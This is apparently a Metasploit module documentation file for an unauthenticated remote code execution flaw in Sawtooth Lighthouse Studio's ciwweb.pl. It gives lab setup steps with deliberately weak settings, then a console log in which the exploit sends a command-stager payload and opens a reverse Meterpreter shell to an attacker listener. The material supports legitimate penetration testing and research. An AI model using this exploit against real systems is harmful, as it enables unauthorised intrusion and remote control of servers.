|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits a template injection vulnerability in the |
| 4 | +Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application. |
| 5 | +The application fails to properly sanitize user input within survey templates, |
| 6 | +allowing unauthenticated attackers to inject and execute arbitrary Perl commands |
| 7 | +on the target system. |
| 8 | + |
| 9 | +This vulnerability affects Lighthouse Studio versions prior to 9.16.14. |
| 10 | +Successful exploitation may result in remote code execution under the privileges |
| 11 | +of the web server, potentially exposing sensitive data or disrupting survey operations. |
| 12 | + |
| 13 | +An attacker can execute arbitrary system commands as the web server. |
| 14 | + |
| 15 | +## STUDYNAME parameter |
| 16 | + |
| 17 | +The `STUDYNAME` parameter must be set manually if the server responds with the error `Cannot find default studyname`, which occurs when the `hid_studyname` parameter is not provided. |
| 18 | +The `hid_studyname` parameter serves as the identifier of the survey or test being executed. |
| 19 | + |
| 20 | +## Testing |
| 21 | + |
| 22 | +To set up a test environment: |
| 23 | + |
| 24 | +1. Download and Install Ubuntu 18.04.6 LTS |
| 25 | + |
| 26 | +Download the ISO from the official Ubuntu archive: |
| 27 | +https://releases.ubuntu.com/18.04/ |
| 28 | + |
| 29 | +2. Update Package Index |
| 30 | + |
| 31 | +After installation, update your system’s package list: |
| 32 | + |
| 33 | +``` |
| 34 | +sudo apt update |
| 35 | +``` |
| 36 | + |
| 37 | +3. Install MySQL 5.7 |
| 38 | + |
| 39 | +Install MySQL 5.7, the target version: |
| 40 | + |
| 41 | +``` |
| 42 | +sudo apt -y install mysql-server-5.7 |
| 43 | +``` |
| 44 | + |
| 45 | +Once installed, MySQL should start automatically. If not, run: |
| 46 | + |
| 47 | +``` |
| 48 | +sudo systemctl start mysql |
| 49 | +``` |
| 50 | + |
| 51 | +4. Install Perl Modules |
| 52 | + |
| 53 | +Install core build tools and the cpanm Perl module manager: |
| 54 | + |
| 55 | +``` |
| 56 | +sudo apt -y install build-essential cpanminus |
| 57 | +``` |
| 58 | + |
| 59 | +Install required Perl modules with specific versions: |
| 60 | + |
| 61 | +``` |
| 62 | +sudo cpanm DBI@1.642 |
| 63 | +sudo cpanm DBD::mysql@4.050 |
| 64 | +sudo cpanm JSON::PP@4.00 |
| 65 | +sudo cpanm DateTime@1.06 |
| 66 | +``` |
| 67 | + |
| 68 | +``` |
| 69 | +sudo apt install libdbd-mysql-perl |
| 70 | +``` |
| 71 | + |
| 72 | +5. Install and Start Apache Web Server |
| 73 | + |
| 74 | +``` |
| 75 | +sudo apt install -y apache2 |
| 76 | +sudo systemctl start apache2 |
| 77 | +sudo systemctl enable apache2 |
| 78 | +``` |
| 79 | + |
| 80 | +Apache will now be running and set to start automatically on boot. |
| 81 | + |
| 82 | +6. Enable CGI and Perl Support in Apache |
| 83 | + |
| 84 | +Install the required Apache modules and enable CGI execution: |
| 85 | + |
| 86 | +``` |
| 87 | +sudo apt install -y libapache2-mod-perl2 |
| 88 | +sudo a2enmod perl |
| 89 | +sudo a2enmod cgi |
| 90 | +sudo systemctl restart apache2 |
| 91 | +``` |
| 92 | + |
| 93 | +This allows Perl CGI scripts to be executed from the web server. |
| 94 | + |
| 95 | +7. Install and Start FTP Server (vsftpd) |
| 96 | + |
| 97 | +``` |
| 98 | +sudo apt install -y vsftpd |
| 99 | +sudo systemctl start vsftpd |
| 100 | +sudo systemctl enable vsftpd |
| 101 | +``` |
| 102 | + |
| 103 | +8. Configure FTP Access |
| 104 | + |
| 105 | +Create FTP User |
| 106 | + |
| 107 | +``` |
| 108 | +sudo adduser ftpuser |
| 109 | +``` |
| 110 | + |
| 111 | +Set Directory Permissions |
| 112 | + |
| 113 | +``` |
| 114 | +sudo chown -R ftpuser:ftpuser /var/www/html |
| 115 | +``` |
| 116 | + |
| 117 | +Edit FTP Configuration. |
| 118 | +Open the config file: |
| 119 | + |
| 120 | +``` |
| 121 | +sudo nano /etc/vsftpd.conf |
| 122 | +``` |
| 123 | + |
| 124 | +Update or add the following settings: |
| 125 | + |
| 126 | +``` |
| 127 | +listen=YES |
| 128 | +listen_ipv6=NO |
| 129 | +
|
| 130 | +anonymous_enable=NO |
| 131 | +local_enable=YES |
| 132 | +write_enable=YES |
| 133 | +
|
| 134 | +chroot_local_user=YES |
| 135 | +allow_writeable_chroot=YES |
| 136 | +
|
| 137 | +user_sub_token=$USER |
| 138 | +local_root=/var/www/html |
| 139 | +
|
| 140 | +local_umask=022 |
| 141 | +file_open_mode=0644 |
| 142 | +``` |
| 143 | + |
| 144 | +Then restart the FTP service: |
| 145 | + |
| 146 | +``` |
| 147 | +sudo systemctl restart vsftpd |
| 148 | +sudo systemctl enable vsftpd |
| 149 | +``` |
| 150 | + |
| 151 | +9. Configure MySQL Access |
| 152 | + |
| 153 | +Create a Test User and Database |
| 154 | + |
| 155 | +Login to MySQL: |
| 156 | + |
| 157 | +``` |
| 158 | +sudo mysql -u root |
| 159 | +``` |
| 160 | + |
| 161 | +Then execute: |
| 162 | + |
| 163 | +``` |
| 164 | +CREATE USER 'test'@'%' IDENTIFIED BY 'test'; |
| 165 | +CREATE DATABASE test DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; |
| 166 | +GRANT ALL PRIVILEGES ON test.* TO 'test'@'%'; |
| 167 | +FLUSH PRIVILEGES; |
| 168 | +EXIT; |
| 169 | +``` |
| 170 | + |
| 171 | +Allow External MySQL Connections |
| 172 | + |
| 173 | +Edit the MySQL config: |
| 174 | + |
| 175 | +``` |
| 176 | +sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf |
| 177 | +` |
| 178 | +
|
| 179 | +Find the line: |
| 180 | +
|
| 181 | +``` |
| 182 | +bind-address = 127.0.0.1 |
| 183 | +``` |
| 184 | +
|
| 185 | +Change it to: |
| 186 | +
|
| 187 | +``` |
| 188 | +bind-address = 0.0.0.0 |
| 189 | +``` |
| 190 | +
|
| 191 | +Save and exit, then allow MySQL traffic through the firewall: |
| 192 | +
|
| 193 | +``` |
| 194 | +sudo ufw allow 3306/tcp |
| 195 | +``` |
| 196 | +
|
| 197 | +Restart MySQL: |
| 198 | +
|
| 199 | +``` |
| 200 | +sudo systemctl restart mysql |
| 201 | +``` |
| 202 | +
|
| 203 | +10. Configure Apache for CGI Scripts |
| 204 | +
|
| 205 | +Update Apache Virtual Host |
| 206 | +
|
| 207 | +Edit the default site config: |
| 208 | +
|
| 209 | +``` |
| 210 | +sudo nano /etc/apache2/sites-enabled/000-default.conf |
| 211 | +``` |
| 212 | +
|
| 213 | +Inside the `<VirtualHost *:80>` block, add: |
| 214 | +
|
| 215 | +``` |
| 216 | +ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/ |
| 217 | + |
| 218 | +<Directory "/var/www/html/cgi-bin"> |
| 219 | + AllowOverride None |
| 220 | + Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch |
| 221 | + Require all granted |
| 222 | +</Directory> |
| 223 | +``` |
| 224 | +
|
| 225 | +Restart Apache |
| 226 | +
|
| 227 | +``` |
| 228 | +sudo systemctl restart apache2 |
| 229 | +``` |
| 230 | +
|
| 231 | +Now CGI scripts in /var/www/html/cgi-bin/ should be executable. |
| 232 | +
|
| 233 | +11. Download and Install Windows (on Second VM) |
| 234 | +
|
| 235 | +Download Windows 10 ISO from the official Microsoft site: |
| 236 | +https://www.microsoft.com/en-us/software-download/windows10 |
| 237 | +
|
| 238 | +Follow standard installation steps in your hypervisor (e.g., VirtualBox, VMware, etc.). |
| 239 | +
|
| 240 | +12. Download and Install Vulnerable Lighthouse Studio |
| 241 | +
|
| 242 | +This is the vulnerable application used to build and upload surveys. |
| 243 | +
|
| 244 | +https://d2rpjb6zne1wug.cloudfront.net/software-installers/Lighthouse-Studio/LighthouseStudio_9_16_12_Setup.exe |
| 245 | +
|
| 246 | +The version history page is available at: |
| 247 | +https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio/version-history |
| 248 | +
|
| 249 | +Install Lighthouse Studio using default options. |
| 250 | +
|
| 251 | +13. Create and Save a New Study |
| 252 | +
|
| 253 | +Use |
| 254 | +
|
| 255 | +``` |
| 256 | +File -> New Study |
| 257 | +``` |
| 258 | +
|
| 259 | +and follow instructions. |
| 260 | +In the end save the study. |
| 261 | +
|
| 262 | +14. Upload the Study to the Ubuntu VM |
| 263 | +
|
| 264 | +To host your survey on the Ubuntu VM: |
| 265 | +
|
| 266 | +In the Top Bar -> Click on Hosting |
| 267 | +
|
| 268 | +Set the following database configuration: |
| 269 | +
|
| 270 | +Database Name: `test` |
| 271 | +
|
| 272 | +Database Username: `test` |
| 273 | +
|
| 274 | +Database Password: `test` |
| 275 | +
|
| 276 | +Database Server: `MySQL` |
| 277 | +
|
| 278 | +Set FTP Access |
| 279 | +
|
| 280 | +Fill in the FTP settings: |
| 281 | +
|
| 282 | +FTP Host: `IP address or hostname of your Ubuntu VM` |
| 283 | +
|
| 284 | +Username: `ftpuser` |
| 285 | +
|
| 286 | +Password: password for `ftpuser` |
| 287 | +
|
| 288 | +In the "Advanced" Tab |
| 289 | +
|
| 290 | +Set the Database Server Host Name — enter the IP address of your Ubuntu VM. |
| 291 | +
|
| 292 | +15. Upload the Survey to Server |
| 293 | +
|
| 294 | +Click the "Upload Survey to Server" button. |
| 295 | +
|
| 296 | +If all configurations are correct, Lighthouse Studio will: |
| 297 | +
|
| 298 | +- Upload the survey files via FTP |
| 299 | +- Initialize the MySQL database |
| 300 | +- Generate CGI scripts |
| 301 | +
|
| 302 | +## Scenario |
| 303 | +
|
| 304 | +``` |
| 305 | +msf6 > use exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300 |
| 306 | +[*] Using configured payload linux/x64/meterpreter/reverse_tcp |
| 307 | +msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > show options |
| 308 | + |
| 309 | +Module options (exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300): |
| 310 | + |
| 311 | + Name Current Setting Required Description |
| 312 | + ---- --------------- -------- ----------- |
| 313 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 314 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 315 | + RPORT 80 yes The target port (TCP) |
| 316 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 317 | + SSLCert no Path to a custom SSL certificate (default is randomly generated) |
| 318 | + STUDYNAME no Value for the hid_studyname GET parameter |
| 319 | + TARGETURI /cgi-bin/ciwweb.pl yes Path to vulnerable ciwweb.pl |
| 320 | + URIPATH no The URI to use for this exploit (default is random) |
| 321 | + VHOST no HTTP server virtual host |
| 322 | + |
| 323 | + |
| 324 | + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: |
| 325 | + |
| 326 | + Name Current Setting Required Description |
| 327 | + ---- --------------- -------- ----------- |
| 328 | + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| 329 | + SRVPORT 8080 yes The local port to listen on. |
| 330 | + |
| 331 | + |
| 332 | +Payload options (linux/x64/meterpreter/reverse_tcp): |
| 333 | + |
| 334 | + Name Current Setting Required Description |
| 335 | + ---- --------------- -------- ----------- |
| 336 | + LHOST yes The listen address (an interface may be specified) |
| 337 | + LPORT 4444 yes The listen port |
| 338 | + |
| 339 | + |
| 340 | +Exploit target: |
| 341 | + |
| 342 | + Id Name |
| 343 | + -- ---- |
| 344 | + 0 Linux Dropper |
| 345 | + |
| 346 | + |
| 347 | + |
| 348 | +View the full module info with the info, or info -d command. |
| 349 | + |
| 350 | +msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set RHOSTS 192.168.19.129 |
| 351 | +RHOSTS => 192.168.19.129 |
| 352 | +msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set STUDYNAME 123 |
| 353 | +STUDYNAME => 123 |
| 354 | +msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set LHOST eth0 |
| 355 | +LHOST => 192.168.19.130 |
| 356 | +msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set SRVPORT 9999 |
| 357 | +SRVPORT => 9999 |
| 358 | +msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > run |
| 359 | + |
| 360 | +[*] Started reverse TCP handler on 192.168.19.130:4444 |
| 361 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 362 | +[*] Extracting version... |
| 363 | +[*] Extracted version: 9.16.12 |
| 364 | +[+] The target appears to be vulnerable. |
| 365 | +[*] Uploading malicious payload... |
| 366 | +[*] Command Stager progress - 44.31% done (362/817 bytes) |
| 367 | +[*] Uploading malicious payload... |
| 368 | +[*] Sending stage (3045380 bytes) to 192.168.19.129 |
| 369 | +[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.129:39790) at 2025-07-20 07:04:31 -0400 |
| 370 | +[*] Command Stager progress - 97.31% done (795/817 bytes) |
| 371 | +[*] Uploading malicious payload... |
| 372 | +[*] Command Stager progress - 100.00% done (817/817 bytes) |
| 373 | + |
| 374 | +meterpreter > sysinfo |
| 375 | +Computer : 192.168.19.129 |
| 376 | +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) |
| 377 | +Architecture : x64 |
| 378 | +BuildTuple : x86_64-linux-musl |
| 379 | +Meterpreter : x64/linux |
| 380 | +meterpreter > |
| 381 | + |
| 382 | +``` |
0 commit comments